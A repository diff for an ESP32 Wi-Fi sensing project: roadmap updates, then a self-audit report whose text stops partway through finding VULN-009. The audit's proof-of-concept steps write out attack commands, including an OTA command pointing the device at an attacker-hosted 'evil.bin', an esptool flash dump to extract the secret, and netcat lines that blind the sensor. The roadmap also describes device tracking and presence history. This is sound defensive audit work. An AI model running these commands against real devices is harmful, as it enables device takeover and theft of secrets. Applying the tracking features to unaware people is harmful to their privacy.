## Current State ## Current State
- 3x ESP32-DevKitC V1 deployed with stock `csi_recv_router` firmware
- Firmware sends raw CSI data via UDP at ~100 pkt/s per device ### Firmware: v1.11.0 (+ unreleased v1.12 changes)
- No remote management capability (must physically access USB)
- 3x ESP32-DevKitC V1 deployed with custom firmware
- 31 UDP commands (ALERT, HELP, CONFIG, FACTORY, STATUS, PING, LOG, CSI, CALIBRATE, PRESENCE, ...)
- 28 NVS-persisted configuration keys
- UDP data streams: CSI_DATA, BLE_DATA, PROBE_DATA, ALERT_DATA, EVENT
- Remote management via UDP commands (port 5501)
- OTA firmware updates (HTTP/HTTPS) with rollback
- Presence detection via CSI baseline calibration
- Multi-channel scanning for broader WiFi coverage
- BLE fingerprinting (company_id, tx_power, flags)
- LED quiet mode (default off, solid on motion/presence)
### Web Backend: v0.1.5
- Flask + SQLAlchemy + SQLite (WAL mode)
- UDP collector (all 5 sensor streams)
- REST API: sensors, devices, alerts, probes, events, stats, export, zones
- Intelligence dashboard: vendor treemap, SSID graph, fingerprint clusters, presence timeline
- 3D floorplan, OpenAPI/Swagger, 77 tests passing
## Hardware ## Hardware
| Device | Chip | IP Address | Location | | Device | Chip | IP Address | Location |
|--------|------|------------|----------| |--------|------|------------|----------|
| muddy-storm | ESP32-WROOM-32 | 192.168.129.29 | Living Room | | muddy-storm | ESP32-WROOM-32 | 192.168.129.29 | Living Room |
| amber-maple | ESP32-WROOM-32 | 192.168.129.30 | Office | | amber-maple | ESP32-WROOM-32 | 192.168.129.30 | Office |
| hollow-acorn | ESP32-WROOM-32 | 192.168.129.31 | Kitchen | | hollow-acorn | ESP32-WROOM-32 | 192.168.129.31 | Kitchen |
## Network Ports
| Port | Protocol | Direction | Description |
|------|----------|-----------|-------------|
| 5500 | UDP | Sensors → Flask | Sensor data streams (CSI, BLE, probes, alerts, events) |
| 5500 | TCP | Clients → Flask | REST API (HTTP) |
| 5501 | UDP | Flask → Sensors | Sensor commands |
## Data Streams (UDP 5500)
| Stream | Format | Use Case |
|--------|--------|----------|
| CSI_DATA | hostname,count,mac,rssi,... | Motion/presence detection |
| BLE_DATA | hostname,mac,rssi,type,name,company_id,tx_power,flags | Device fingerprinting |
| PROBE_DATA | hostname,mac,rssi,ssid,channel | Device tracking, SSID enumeration |
| ALERT_DATA | hostname,type,source,target,rssi | Wireless IDS (deauth detection) |
| EVENT | hostname,key=value pairs | Motion, presence, calibration events |
## Software Stack ## Software Stack
| Component | Version | Purpose | | Component | Version | Purpose |
|-----------|---------|---------| |-----------|---------|---------|
| ESP-IDF | v5.5.2 | Development framework (`~/esp/esp-idf/`) | | ESP-IDF | v5.5.2 | Firmware development framework |
| esp-csi | latest | CSI extraction library | | Flask | 3.x | REST API backend |
| FreeRTOS | (bundled) | RTOS kernel | | SQLAlchemy | 2.x | Database ORM |
| SQLite/PostgreSQL | - | Data storage |
| podman | - | Container runtime |
## Key Paths ## Key Paths
| Path | Description | | Path | Description |
|------|-------------| |------|-------------|
| `~/git/esp32-hacking/` | This project (firmware sources, docs) | | `~/git/esp32-hacking/` | This project (firmware sources, docs) |
| `~/git/wifi-sensing/` | Server application (receives CSI data) | | `~/git/esp32-web/` | Flask API backend (v0.1.5) |
| `~/git/esp-tools/` | CLI tools (esp-ctl, esp-fleet, esp-ota) |
| `~/esp/esp-idf/` | ESP-IDF toolchain | | `~/esp/esp-idf/` | ESP-IDF toolchain |
| `~/esp/esp-csi/` | Original esp-csi repo (build from here) |
## Dependencies ## API Endpoints
- ESP-IDF toolchain (`~/esp/esp-idf/`)
- USB cable for initial flash (OTA planned) Base URL: `http://<host>:5500/api/v1`
| Method | Endpoint | Description |
|--------|----------|-------------|
| GET | `/sensors` | List sensors with status |
| GET | `/sensors/<id>` | Sensor detail |
| GET | `/sensors/<id>/config` | Sensor configuration |
| PUT | `/sensors/<id>/config` | Update sensor config |
| POST | `/sensors/<id>/command` | Send UDP command |
| POST | `/sensors/<id>/ota` | Trigger OTA update |
| POST | `/sensors/<id>/calibrate` | Trigger calibration |
| GET | `/devices` | List discovered devices |
| GET | `/devices/<id>` | Device detail |
| GET | `/alerts` | Alert feed with filters |
| GET | `/probes` | Probe requests |
| GET | `/events` | Sensor events |
| GET | `/stats` | Aggregate statistics |
| GET | `/zones` | List zones |
| POST | `/zones` | Create zone |
| PUT | `/zones/<id>` | Update zone |
| GET | `/export/devices.csv` | Export devices |
| GET | `/intelligence/*` | Vendor treemap, SSID graph, fingerprints, presence |
## References ## References
- [ESP-IDF Docs](https://docs.espressif.com/projects/esp-idf/en/latest/) - [ESP-IDF Docs](https://docs.espressif.com/projects/esp-idf/en/latest/)
- [ESP-CSI GitHub](https://github.com/espressif/esp-csi) - [ESP-CSI GitHub](https://github.com/espressif/esp-csi)
- [ESP32 WiFi CSI API](https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/network/esp_wifi.html) - [IEEE OUI Database](https://standards-oui.ieee.org/)
- [Bluetooth Company Identifiers](https://www.bluetooth.com/specifications/assigned-numbers/company-identifiers/)

View File

@@ -98,10 +98,6 @@ Note: Promiscuous mode (probe/deauth capture) disabled on original ESP32 — bre
- [x] Zone tracking with EMA RSSI (`esp-ctl osint zones`, `device_zones` table) - [x] Zone tracking with EMA RSSI (`esp-ctl osint zones`, `device_zones` table)
- [x] Per-sensor breakdown in MAC profile (`esp-ctl osint mac`) - [x] Per-sensor breakdown in MAC profile (`esp-ctl osint mac`)
- [x] POWERTEST command (7-phase power profiling with EVENT markers) - [x] POWERTEST command (7-phase power profiling with EVENT markers)
- [ ] Test OTA rollback (flash bad firmware, verify auto-revert)
- [ ] Create HA webhook automations for deauth_flood / unknown_probe
- [ ] Document esp-crab dual-antenna capabilities
- [ ] Document esp-radar console features
## v1.5 - Event Handling & NVS Persistence [DONE] ## v1.5 - Event Handling & NVS Persistence [DONE]
- [x] EVENT packet parsing in watch daemon (motion, wifi_reconnect, powertest) - [x] EVENT packet parsing in watch daemon (motion, wifi_reconnect, powertest)
@@ -116,9 +112,6 @@ Note: Promiscuous mode (probe/deauth capture) disabled on original ESP32 — bre
- [x] POWERSAVE command (WiFi modem sleep toggle, NVS persisted, default off) - [x] POWERSAVE command (WiFi modem sleep toggle, NVS persisted, default off)
- [x] POWERTEST save/restore of powersave state - [x] POWERTEST save/restore of powersave state
- [x] sdkconfig: CONFIG_PM_ENABLE, CONFIG_FREERTOS_USE_TICKLESS_IDLE - [x] sdkconfig: CONFIG_PM_ENABLE, CONFIG_FREERTOS_USE_TICKLESS_IDLE
- [ ] Power consumption measurements using POWERTEST + external meter
- [ ] Deep sleep mode with wake-on-CSI-motion
- [ ] Battery-optimized duty cycling
## v1.7 - Baseline Calibration & Presence Detection [DONE] ## v1.7 - Baseline Calibration & Presence Detection [DONE]
- [x] CALIBRATE command (capture N seconds of CSI with room empty, average per-subcarrier amplitudes, store in NVS) - [x] CALIBRATE command (capture N seconds of CSI with room empty, average per-subcarrier amplitudes, store in NVS)
@@ -130,10 +123,66 @@ Note: Promiscuous mode (probe/deauth capture) disabled on original ESP32 — bre
- [x] Calibration done event (`EVENT,<hostname>,calibrate=done packets=<n> nsub=<n>`) - [x] Calibration done event (`EVENT,<hostname>,calibrate=done packets=<n> nsub=<n>`)
- [x] presence= and pr_score= fields in STATUS reply - [x] presence= and pr_score= fields in STATUS reply
- [x] NVS persistence for baseline (bl_amps blob, bl_nsub) and presence config - [x] NVS persistence for baseline (bl_amps blob, bl_nsub) and presence config
- [ ] Tune presence threshold per room with real-world testing
- [ ] Pi-side presence event handling in watch daemon
## v2.0 - Hardware Upgrade (ESP32-S3/C6) ## v1.8 - HTTPS OTA Support [DONE]
- [x] Support HTTPS URLs for OTA updates (esp_https_ota)
- [x] CI: Upload firmware to Gitea releases for OTA
- [x] CI: Simplify deploy script to pure POSIX sh
## v1.9 - Multi-Channel Scanning & BLE Fingerprinting [DONE]
- [x] CHANSCAN command (ON/OFF/NOW/INTERVAL)
- [x] Channel hopping (1-13) with 100ms dwell, pause CSI during scan
- [x] chanscan= field in STATUS, chanscan_int NVS persistence
- [x] BLE fingerprinting: company_id, tx_power, adv_flags in BLE_DATA
- [x] Historical presence sessions support
## v1.10 - LED Quiet Mode & CI Hardening [DONE]
- [x] LED quiet mode (off normally, solid on motion/presence, blinks on OTA)
- [x] Default LED to quiet mode
- [x] Build metadata in STATUS (date, time, IDF version, chip info)
- [x] CI security checks (secrets scan, config validation, size check)
- [x] Size optimization (`-Os`, saves ~75KB vs -O2)
- [x] CSI ON/OFF toggle command (NVS persisted)
## v1.11 - Diagnostics & Usability [DONE]
- [x] HELP command (lists all commands with syntax)
- [x] CONFIG command (dump all running config key=value)
- [x] FACTORY command (erase NVS config + reboot)
- [x] PING command (echo reply for connectivity tests)
- [x] LOG command (runtime log level control)
- [x] RSSI RESET command (reset min/max counters)
- [x] OTA rollback validation (crasher firmware + bootloader rollback confirmed)
- [x] Tagged v1.11.0 and OTA deployed to all 3 sensors
## v1.12 - Security Hardening & Monitoring (unreleased)
- [x] ALERT command (temp/heap thresholds, EVENT emission, 60s holdoff, NVS persisted)
- [x] Auth whitelist (read-only queries only without HMAC)
- [x] AUTH OFF disabled remotely (serial/FACTORY only)
- [x] STATUS split (minimal unauthed vs full authed)
- [x] Rate limiter (50ms throttle, 20 cmd/s)
- [x] NVS write throttle (20 writes per 10s)
- [x] CSI buffer bounds checking (UDP_REM macro)
- [x] PMF required (`CONFIG_ESP_WIFI_PMF_REQUIRED=y`)
- [x] mDNS stripped to hostname-only (no service advertisement)
- [x] Serial console AUTH management
- [x] Auto-generated auth secret on first boot
- [x] Pentest completed: 50+ tests, all network-facing tests PASS
- [x] Enable stack canaries (`CONFIG_COMPILER_STACK_CHECK_MODE_NORM`)
- [x] Enable heap poisoning (`CONFIG_HEAP_POISONING_LIGHT`)
- [x] Enable WDT panic (`CONFIG_ESP_TASK_WDT_PANIC`)
- [x] Remove unused `#include "esp_now.h"` (CVE-2025-52471 mitigation)
- [x] Remove hardcoded default IP from Kconfig (use TARGET command)
- [x] OTA TLS certificate verification (ESP-IDF 150-CA bundle, `crt_bundle_attach`)
- [ ] Multi-target (send data to 2+ UDP destinations)
## Web Backend (`~/git/esp32-web/`)
Tracked in its own repository. See `~/git/esp32-web/ROADMAP.md`.
Current: v0.1.5 (zones, intelligence dashboard, fleet management, 77 tests).
Next: v0.1.6 (auth, rate limiting, production deployment).
## v3.0 - Hardware Upgrade (ESP32-S3/C6)
Requires replacing current ESP32 (original) DevKitC V1 boards with ESP32-S3 Requires replacing current ESP32 (original) DevKitC V1 boards with ESP32-S3
or ESP32-C6 modules. The original ESP32 lacks FTM and has CSI/promiscuous or ESP32-C6 modules. The original ESP32 lacks FTM and has CSI/promiscuous
@@ -152,10 +201,11 @@ mode conflicts.
## Future ## Future
- AP+STA config portal (WIFI_MODE_APSTA, captive portal for initial setup) - AP+STA config portal (WIFI_MODE_APSTA, captive portal for initial setup)
- ESP-NOW mesh (ESP32-to-ESP32 CSI) - ESP-NOW mesh (ESP32-to-ESP32 CSI)
- Multi-channel scanning (hop across WiFi channels)
- BLE device fingerprinting (identify phone models by advertisement patterns)
- Historical presence logging (who was here, when, how long)
- External sensor support (PIR, temp/humidity via GPIO) - External sensor support (PIR, temp/humidity via GPIO)
- Pin mapping for ESP32-DevKitC V1 - Pin mapping for ESP32-DevKitC V1
- Compare CSI quality: passive (router) vs active (ESP-NOW) - Compare CSI quality: passive (router) vs active (ESP-NOW)
- Multi-sensor deployment guide (placement, zones, triangulation) - Multi-sensor deployment guide (placement, zones, triangulation)
- Home Assistant integration (MQTT discovery, entity creation)
- Grafana dashboards for long-term analytics
- ML-based device classification (phone vs laptop vs IoT)
- RSSI triangulation with 3+ sensors (approximate device location)

758
SECURITY-AUDIT.md Normal file
View File

@@ -0,0 +1,758 @@
# ESP32 CSI Sensor Firmware Security Audit Report
**Target:** `get-started/csi_recv_router/main/app_main.c` (v1.11/v1.12 unreleased)
**Source:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`
**ESP-IDF Version:** 5.5.2
**Date:** 2026-02-14
---
## 1. Executive Summary
This firmware implements a Wi-Fi CSI (Channel State Information) sensor with UDP-based command/control, BLE scanning, OTA updates, and mDNS service discovery. The overall security posture is **moderate risk for a LAN-deployed sensor, high risk if exposed to untrusted networks**. The most critical findings are: (1) OTA updates are accepted over plaintext HTTP without firmware signature verification, enabling trivial remote code execution by any LAN attacker; (2) the UDP command interface binds to all interfaces with no source IP filtering and an authentication system that can be entirely disabled via a privileged command; (3) the HMAC authentication secret is logged to serial in cleartext on first boot; (4) NVS stores all secrets in plaintext (no flash encryption enabled); and (5) secure boot and flash encryption are explicitly disabled in the build configuration, leaving the device vulnerable to physical firmware extraction and modification.
**Overall Risk Rating: HIGH** (on a trusted LAN); **CRITICAL** (if any network segment is shared with untrusted devices).
---
## 2. Attack Surface Map
### 2.1 Network Interfaces
| Interface | Protocol | Port/Channel | Auth | Encryption | Direction |
|-----------|----------|-------------|------|------------|-----------|
| Wi-Fi STA | 802.11 (WPA2/WPA3) | Configured channel | PSK (via `example_connect()`) | WPA2/WPA3 | Both |
| UDP Data | UDP | Configurable (default 5500) | None | None | Outbound only |
| UDP Command | UDP | Configurable (default 5501) | HMAC-SHA256 (optional) | None | Inbound + Reply |
| mDNS | mDNS/UDP | 5353 | None | None | Both |
| BLE | BLE GAP | N/A | None | None | Receive only (passive scan) |
| OTA | HTTP/HTTPS | Attacker-controlled URL | HMAC on command trigger | Optional (HTTP allowed) | Outbound |
| Promiscuous | 802.11 raw | All channels (during chanscan) | N/A | N/A | Receive only |
| ICMP Ping | ICMP | N/A | None | None | Outbound to gateway |
### 2.2 External Input Entry Points
| Entry Point | Source | Trust Level | Validation |
|-------------|--------|-------------|------------|
| UDP command socket (port 5501) | Any LAN host | Untrusted (HMAC optional) | Partial (per-command) |
| Wi-Fi CSI callback | Wi-Fi driver | Trusted (kernel) | MAC filter |
| Promiscuous RX callback | Wi-Fi driver | Untrusted (raw frames) | Frame type filter |
| BLE advertisement RX | BLE driver | Untrusted (broadcast) | Field parsing |
| NVS stored config | Flash | Trusted (physical access = full compromise) | Range validation |
| UART console | Physical serial | Trusted (physical) | ESP-IDF console |
| OTA firmware image | HTTP(S) server | Untrusted | ESP-IDF image header only |
### 2.3 Data Storage
| Storage | Type | Encryption | Contents |
|---------|------|-----------|----------|
| NVS (`csi_config`) | Key-value flash | **Not encrypted** | Auth secret, hostname, config, baseline calibration, boot count |
| OTA partitions (`ota_0`, `ota_1`) | App binary | **Not encrypted** | Firmware images |
| `phy_init` | PHY calibration | No | RF calibration data |
### 2.4 Trust Boundaries
```
UNTRUSTED
+-----------------------------------------+
| LAN Network |
| +-- UDP commands (port 5501) |
| +-- mDNS announcements |
| +-- OTA download targets |
| +-- Raw 802.11 frames |
| +-- BLE advertisements |
+-----------------------------------------+
|
[HMAC gate, optional]
|
TRUSTED
+-----------------------------------------+
| ESP32 Firmware |
| +-- cmd_handle() [privileged ops] |
| +-- NVS config storage |
| +-- OTA flash write |
| +-- WiFi/BLE driver control |
+-----------------------------------------+
|
[No encryption, no secure boot]
|
+-----------------------------------------+
| Physical Hardware |
| +-- UART (921600 baud) |
| +-- JTAG (not disabled) |
| +-- Flash memory (readable) |
+-----------------------------------------+
```
### 2.5 Partition Table
| Partition | Offset | Size | Notes |
|-----------|--------|------|-------|
| nvs | 0x9000 | 16 KB | Unencrypted config store |
| otadata | 0xD000 | 8 KB | OTA boot selection |
| phy_init | 0xF000 | 4 KB | PHY calibration |
| ota_0 | 0x10000 | 1920 KB | Primary firmware |
| ota_1 | 0x1F0000 | 1920 KB | Secondary firmware (OTA target) |
No factory partition. No coredump partition.
### 2.6 Third-Party Dependencies
| Library | Version | Purpose |
|---------|---------|---------|
| ESP-IDF | >= 4.4.1 (actual: 5.5.2) | Framework |
| esp_csi_gain_ctrl | >= 0.1.4 | CSI gain compensation |
| espressif/mdns | >= 1.0.0 | mDNS service |
| NimBLE | Bundled with ESP-IDF | BLE stack |
| mbedTLS | Bundled with ESP-IDF | HMAC-SHA256 |
| protocol_examples_common | ESP-IDF examples | WiFi connection helper |
---
## 3. Findings Table (Sorted by Severity)
| ID | Severity | CVSS | Category | Summary |
|----|----------|------|----------|---------|
| VULN-001 | Critical | 9.8 | E (OTA) | Unsigned OTA over plaintext HTTP allows RCE |
| VULN-002 | Critical | 9.1 | H (Physical) | Secure boot and flash encryption disabled |
| VULN-003 | High | 8.8 | B (Auth) | Auth secret logged in cleartext on first boot |
| VULN-004 | High | 8.1 | D (Network) | UDP command channel has no transport encryption |
| VULN-005 | High | 7.5 | B (Auth) | Auth can be disabled remotely via AUTH OFF |
| VULN-006 | High | 7.5 | C (Crypto) | Auth secret stored unencrypted in NVS |
| VULN-007 | High | 7.5 | B (Auth) | Non-privileged commands accessible without auth |
| VULN-008 | Medium | 6.5 | D (Network) | UDP command socket binds to INADDR_ANY |
| VULN-009 | Medium | 6.1 | B (Auth) | HMAC replay window of 60 seconds |
| VULN-010 | Medium | 5.9 | A (Memory) | Potential buffer overflow in CSI UDP buffer |
| VULN-011 | Medium | 5.3 | I (InfoDisc) | mDNS leaks device type, hostname, port |
| VULN-012 | Medium | 5.3 | I (InfoDisc) | STATUS command exposes build date, IDF version, chip details |
| VULN-013 | Medium | 5.3 | J (DoS) | Unbounded OTA URL length via strdup |
| VULN-014 | Medium | 4.6 | G (Concurrency) | Race conditions on shared globals between tasks |
| VULN-015 | Low | 3.9 | H (Physical) | UART console active at 921600 baud |
| VULN-016 | Low | 3.7 | F (WiFi) | Wi-Fi credentials in plaintext NVS |
| VULN-017 | Low | 3.1 | J (DoS) | NVS write throttle bypassable over time |
| VULN-018 | Low | 3.1 | D (Network) | No rate limiting on command socket |
| VULN-019 | Low | 2.4 | A (Memory) | probe body_len calculated from untrusted sig_len |
| VULN-020 | Info | N/A | I (AI Pattern) | Example code pattern used in production |
| VULN-021 | Info | N/A | C (Crypto) | HMAC truncated to 64 bits |
| VULN-022 | Info | N/A | E (OTA) | No firmware version anti-rollback enforcement |
| VULN-023 | Info | N/A | F (WiFi) | PMF (802.11w) not explicitly enabled |
| VULN-024 | Info | N/A | G (FreeRTOS) | Tight stack allocations on several tasks |
---
## 4. Detailed Findings
### VULN-001: Unsigned OTA Over Plaintext HTTP Allows Remote Code Execution
- **Severity:** Critical
- **CVSS v3.1:** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- **Category:** E (OTA Security)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `ota_task()`, lines 1211-1242; `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults`, line 67
- **Description:** The `CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y` setting allows OTA downloads over plaintext HTTP. The `esp_http_client_config_t` has no TLS certificate configured (no `cert_pem`, no `crt_bundle_attach`). Even when an HTTPS URL is used, there is no server certificate validation -- the connection accepts any certificate. The OTA image is checked only by ESP-IDF's internal image header validation (magic bytes and partition compatibility), but there is no cryptographic signature verification because secure boot is disabled. This means any device on the same network can perform an ARP spoofing or DNS spoofing attack to serve a malicious firmware image.
- **Proof of Concept:**
1. Attacker on the same LAN observes the OTA command (or simply triggers one after compromising auth or when auth is disabled).
2. Attacker sets up a rogue HTTP server with a crafted ESP32 firmware image.
3. Sends UDP command: `OTA http://<attacker-ip>:8080/evil.bin` (or intercepts legitimate OTA traffic via ARP spoofing).
4. Device downloads and flashes the malicious firmware, then reboots with attacker-controlled code.
- **Remediation:**
```c
// In sdkconfig.defaults, remove or set to n:
// CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=y
// Replace with:
CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=n
// In ota_task(), add certificate validation:
esp_http_client_config_t http_cfg = {
.url = url,
.timeout_ms = 30000,
.crt_bundle_attach = esp_crt_bundle_attach, // Use ESP-IDF cert bundle
};
// Additionally, enable secure boot v2 to verify firmware signatures
// CONFIG_SECURE_BOOT=y
// CONFIG_SECURE_BOOT_V2_ENABLED=y
```
---
### VULN-002: Secure Boot and Flash Encryption Disabled
- **Severity:** Critical
- **CVSS v3.1:** 9.1 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
- **Category:** H (Physical/Side-Channel)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.sample`, lines 357-359, 2147
- **Description:** Both secure boot (`CONFIG_SECURE_BOOT`) and flash encryption (`CONFIG_SECURE_FLASH_ENC_ENABLED`, `CONFIG_FLASH_ENCRYPTION_ENABLED`) are explicitly disabled. This allows physical attackers to: (a) read the entire flash contents including the auth secret and Wi-Fi credentials via esptool.py, (b) flash arbitrary firmware, (c) modify the bootloader. On the ESP32 (which supports Secure Boot V1), this is the primary hardware security mechanism.
- **Proof of Concept:**
```bash
# Read entire flash (requires USB access):
esptool.py -p /dev/ttyUSB0 read_flash 0 0x400000 dump.bin
# Extract NVS partition with auth secret:
python3 nvs_partition_tool.py dump.bin --partition-offset 0x9000 --partition-size 0x4000
```
- **Remediation:** Enable secure boot and flash encryption (note: this is a one-way eFuse operation for production):
```
CONFIG_SECURE_BOOT=y
CONFIG_SECURE_BOOT_V2_ENABLED=y
CONFIG_SECURE_FLASH_ENC_ENABLED=y
CONFIG_SECURE_FLASH_ENCRYPTION_MODE_RELEASE=y
```
---
### VULN-003: Auth Secret Logged in Cleartext on First Boot
- **Severity:** High
- **CVSS v3.1:** 8.8 (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- **Category:** I (Information Disclosure) / B (Authentication)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `config_load_nvs()`, line 355
- **Description:** When no auth secret exists (first boot or after factory reset), a random 32-character hex secret is generated and logged via `ESP_LOGW`:
```c
ESP_LOGW(TAG, "AUTH: generated secret: %s (note this for remote access)", s_auth_secret);
```
This secret is the sole authentication credential for privileged operations (OTA, REBOOT, FACTORY, TARGET, etc.). It is printed to the UART console at 921600 baud, which could be captured by any serial monitoring tool, logging infrastructure, or by an attacker with physical proximity to the serial port. If the device is connected to a USB-to-serial adapter during provisioning, the secret is visible to anyone with access to the host machine's serial logs.
- **Proof of Concept:** Connect to UART at 921600 baud during device boot or factory reset. The auth secret appears in the boot log.
- **Remediation:**
```c
// Replace the log line with a partial redaction:
ESP_LOGW(TAG, "AUTH: secret generated (first 4 chars: %.4s...)", s_auth_secret);
// Or better, use a provisioning protocol that doesn't log the secret at all.
// Consider a dedicated provisioning command that reveals the secret once
// only when triggered via physical button press.
```
---
### VULN-004: UDP Command Channel Has No Transport Encryption
- **Severity:** High
- **CVSS v3.1:** 8.1 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
- **Category:** D (Network/Protocol Security)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_task()`, lines 2491-2570
- **Description:** The entire command and control protocol runs over plaintext UDP. Even with HMAC authentication enabled, an attacker on the same network can: (a) sniff all command traffic and responses, including device status, configuration, hostname, IP targets; (b) observe the HMAC tokens and timestamps, which, while not directly reusable outside the 60-second window, reveal the pattern and timing of commands; (c) capture the full CONFIG and STATUS responses which contain operational intelligence. The HMAC protects integrity and authentication of privileged commands, but provides zero confidentiality.
- **Proof of Concept:**
```bash
# From any machine on the same LAN:
tcpdump -i eth0 -A udp port 5501
# All commands and responses visible in cleartext
```
- **Remediation:** For a constrained UDP protocol on a LAN sensor, full DTLS may be impractical. Consider:
1. Restricting the command socket to accept only from configured management IPs.
2. Using DTLS (mbedTLS supports it on ESP32) for the command channel.
3. At minimum, encrypt sensitive response data with a shared key.
---
### VULN-005: Auth Can Be Disabled Remotely via AUTH OFF
- **Severity:** High
- **CVSS v3.1:** 7.5 (AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
- **Category:** B (Authentication)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_handle()`, lines 2094-2112
- **Description:** The `AUTH OFF` command disables authentication entirely by clearing the secret and persisting an empty string to NVS. Once an attacker obtains the HMAC secret (via VULN-003, VULN-006, or by intercepting it), they can permanently disable authentication, making all future commands (including OTA, REBOOT, FACTORY) executable by anyone on the network without any credentials. The `AUTH` command is listed in `cmd_requires_auth()` (line 1519), so it does require HMAC to execute -- but once executed, the device is permanently open until reboot or manual re-configuration.
- **Proof of Concept:**
```bash
# After obtaining the secret, compute HMAC and send:
echo "HMAC:<computed_hmac>:<timestamp>:AUTH OFF" | nc -u <device-ip> 5501
# Device now accepts all commands without authentication
```
- **Remediation:** Remove the ability to disable auth remotely. Only allow secret rotation (changing to a new secret), not removal:
```c
if (strcmp(arg, "OFF") == 0) {
snprintf(reply, reply_size, "ERR AUTH cannot be disabled remotely");
return strlen(reply);
}
```
---
### VULN-006: Auth Secret Stored Unencrypted in NVS
- **Severity:** High
- **CVSS v3.1:** 7.5 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
- **Category:** C (Cryptography)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `config_load_nvs()`, line 276; function `config_save_str()` used at line 354
- **Description:** The HMAC authentication secret is stored as a plaintext string in the NVS partition under the key `auth_secret`. Since flash encryption is disabled (VULN-002), the secret can be read directly from the flash chip using esptool or a flash programmer. This provides an attacker with full privileged access to the device's command interface, including OTA (code execution) and FACTORY (denial of service).
- **Remediation:** Enable NVS encryption (`CONFIG_NVS_ENCRYPTION=y`) and flash encryption, or store the secret in eFuse if a single immutable secret is acceptable.
---
### VULN-007: Non-Privileged Commands Accessible Without Authentication
- **Severity:** High
- **CVSS v3.1:** 7.5 (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L)
- **Category:** B (Authentication)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_requires_auth()`, lines 1513-1522; `cmd_task()`, lines 2543-2563
- **Description:** The `cmd_requires_auth()` function only gates 6 commands: OTA, FACTORY, REBOOT, TARGET, AUTH, HOSTNAME. All other commands are freely accessible without authentication, including several that can significantly alter device behavior:
- `RATE` -- change CSI sampling rate (affects monitoring accuracy)
- `POWER` -- change TX power (2-20 dBm, affects RF environment)
- `BLE ON/OFF` -- enable/disable BLE scanning
- `ADAPTIVE ON/OFF` -- enable/disable adaptive sampling
- `CSI OFF` -- disable CSI collection entirely (blind the sensor)
- `CSIMODE` -- change output format
- `CALIBRATE` -- trigger/clear baseline calibration (manipulate presence detection)
- `PRESENCE OFF` -- disable presence detection
- `CHANSCAN NOW` -- trigger channel scanning (disrupts CSI for ~1.3s)
- `LOG NONE` -- suppress all logging (hide attack traces)
- `POWERSAVE ON` -- degrade sensor performance
- `FLOODTHRESH 100 300` -- suppress deauth flood detection
- `ALERT OFF` -- disable monitoring alerts
- `POWERTEST` -- run power test (disrupts normal operation for minutes)
- **Proof of Concept:**
```bash
# No authentication needed to blind the sensor:
echo "CSI OFF" | nc -u <device-ip> 5501
echo "PRESENCE OFF" | nc -u <device-ip> 5501
echo "LOG NONE" | nc -u <device-ip> 5501
echo "FLOODTHRESH 100 300" | nc -u <device-ip> 5501
# Sensor is now blind, not detecting presence, not logging, and not alerting on deauth floods
```
- **Remediation:** Require authentication for all commands that modify device behavior. Only STATUS, CONFIG, PROFILE, PING, HELP, and HOSTNAME (query-only) should be unauthenticated:
```c
static bool cmd_requires_auth(const char *cmd)
{
// Allow only read-only commands without auth
if (strcmp(cmd, "STATUS") == 0) return false;
if (strcmp(cmd, "CONFIG") == 0) return false;
if (strcmp(cmd, "PROFILE") == 0) return false;
if (strcmp(cmd, "PING") == 0) return false;
if (strcmp(cmd, "HELP") == 0) return false;
if (strcmp(cmd, "HOSTNAME") == 0) return false;
if (strcmp(cmd, "CALIBRATE STATUS") == 0) return false;
if (strcmp(cmd, "PRESENCE") == 0) return false; // query only
if (strcmp(cmd, "ALERT") == 0) return false; // query only
// Everything else requires auth
return true;
}
```
---
### VULN-008: UDP Command Socket Binds to INADDR_ANY
- **Severity:** Medium
- **CVSS v3.1:** 6.5 (AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
- **Category:** D (Network Security)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_task()`, line 2503
- **Description:** The command socket binds to `INADDR_ANY` (0.0.0.0), accepting commands from any network interface. While the ESP32 typically has only one Wi-Fi interface, if the device is connected to a network with routing to the internet, the command port could potentially be reachable from outside the LAN.
- **Remediation:** Bind to the specific station IP address after connecting to Wi-Fi, or implement source IP filtering to restrict commands to known management hosts.
---
### VULN-009: HMAC Replay Window of 60 Seconds
- **Severity:** Medium
- **CVSS v3.1:** 6.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N)
- **Category:** B (Authentication) / C (Cryptography)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `auth_verify()`, lines 1470-1477
- **Description:** The HMAC replay protection uses a +/-30 second window around device uptime (`drift < -30 || drift > 30`). This means a captured HMAC-authenticated command can be replayed within a 60-second window. There is no nonce or sequence number to prevent replay. Additionally, the timestamp is based on device uptime (not wall-clock time), which is predictable and resets on reboot. After a reboot, all previously used timestamps in the first 30 seconds of the previous boot are valid again.
- **Proof of Concept:**
1. Capture an HMAC-signed command from the network.
2. Replay it within 60 seconds -- the device will accept it.
3. After a device reboot, replay commands from the first 30 seconds of the previous session.
- **Remediation:** Implement a nonce/sequence counter:
```c
